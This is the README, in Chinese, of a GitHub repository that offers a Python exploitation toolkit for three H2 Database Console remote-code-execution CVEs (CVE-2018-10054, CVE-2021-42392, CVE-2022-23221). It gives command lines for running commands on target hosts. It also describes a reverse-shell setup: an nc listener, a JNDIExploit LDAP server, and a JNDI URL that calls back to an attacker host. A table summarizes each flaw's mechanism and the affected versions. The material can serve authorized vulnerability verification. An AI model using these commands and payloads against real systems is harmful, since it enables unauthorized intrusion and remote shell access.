MarainLoen/h2database-rce-poc
GitHub: MarainLoen/h2database-rce-poc
集成 H2 Database Console 三个主要 RCE 漏洞(CVE-2018-10054 / CVE-2021-42392 / CVE-2022-23221)的验证与利用工具,支持探测和命令执行。
Stars: 1 | Forks: 0
# H2 Console RCE 漏洞利用工具包
CVE-2018-10054 / CVE-2021-42392 / CVE-2022-23221 系列 H2 Console 漏洞验证利用脚本。
## 依赖要求
- Python 3.6+ · `pip install requests`
- CVE-2021 需额外准备 JNDI 工具:
- **JNDIExploit**: https://github.com/0x727/JNDIExploit
- **Java-Chains**: https://github.com/frohoff/ysoserial (或等替代工具)
## 脚本说明
### CVE-2018-10054 & CVE-2022-23221 — `cve2022-23211/CVE2022_H2_RCE.py`
`-t` 支持 URL 格式 (`https://host:port`) 或 IP+端口 (`-t host -p 8082`)。
```
python cve2022-23211/CVE2022_H2_RCE.py -t 192.168.1.100 -p 8080 --cve 2018 -c "id"
python cve2022-23211/CVE2022_H2_RCE.py -t 192.168.1.100 -p 8080 --cve 2022 -c "whoami"
python cve2022-23211/CVE2022_H2_RCE.py -t https://192.168.1.100:8443 --probe
```
| 参数 | 描述 |
|-----|------|
| `-t` | 目标 |
| `-p` | 端口 (URL 格式时可选) |
| `--cve {2018,2022}` | CVE 版本 (省略则自动判断) |
| `-c` | 命令 (默认: "id") |
| `--probe` | 仅探测 |
### CVE-2021-42392 — `cve-2021-42392/CVE2021_H2_JNDI_RCE.py`
前置条件: `nc -lvnp ` + `java -jar JNDIExploit-1.3.jar -i `
```
python cve-2021-42392/CVE2021_H2_JNDI_RCE.py -t 192.168.1.100 -p 8080 -j "ldap://x.x:1389/TomcatBypass/ReverseShell/x.x/6666"
python cve-2021-42392/CVE2021_H2_JNDI_RCE.py -t https://192.168.1.100:8443 --probe
```
| 参数 | 描述 |
|-----|------|
| `-t` | 目标 |
| `-p` | 端口 (URL 格式时可选) |
| `-j` | JNDI LDAP URL |
| `--probe` | 仅探测 |
**JNDI 路由**: `TomcatBypass/ReverseShell` (推荐,绕过 JDK>8u191 / 容器隔离) · `Basic/ReverseShell` (备用,需 JDK<=8u191 + HTTP 出站)
## 漏洞原理
| CVE | 版本 | 方式 |
|-----|------|------|
| CVE-2018-10054 | ≤ 1.4.197 | 登录 mem:test → CREATE TRIGGER 执行 JS |
| CVE-2021-42392 | 1.4.197 ~ 2.0.204 | JNDI 注入 (driver=javax.naming.InitialContext) |
| CVE-2022-23221 | ≥ 1.4.200 | JDBC INIT 参数注入 |
标签:CISA项目, CVE-2018-10054, CVE-2021-42392, CVE-2022-23221, GHAS, H2 Database, Java安全, JDBC注入, JNDI注入, Python, RCE漏洞验证, XXE攻击, ysoserial, 加密, 反弹Shell, 无后门, 漏洞复现, 漏洞扫描器, 编程工具, 网络安全, 远程代码执行, 隐私保护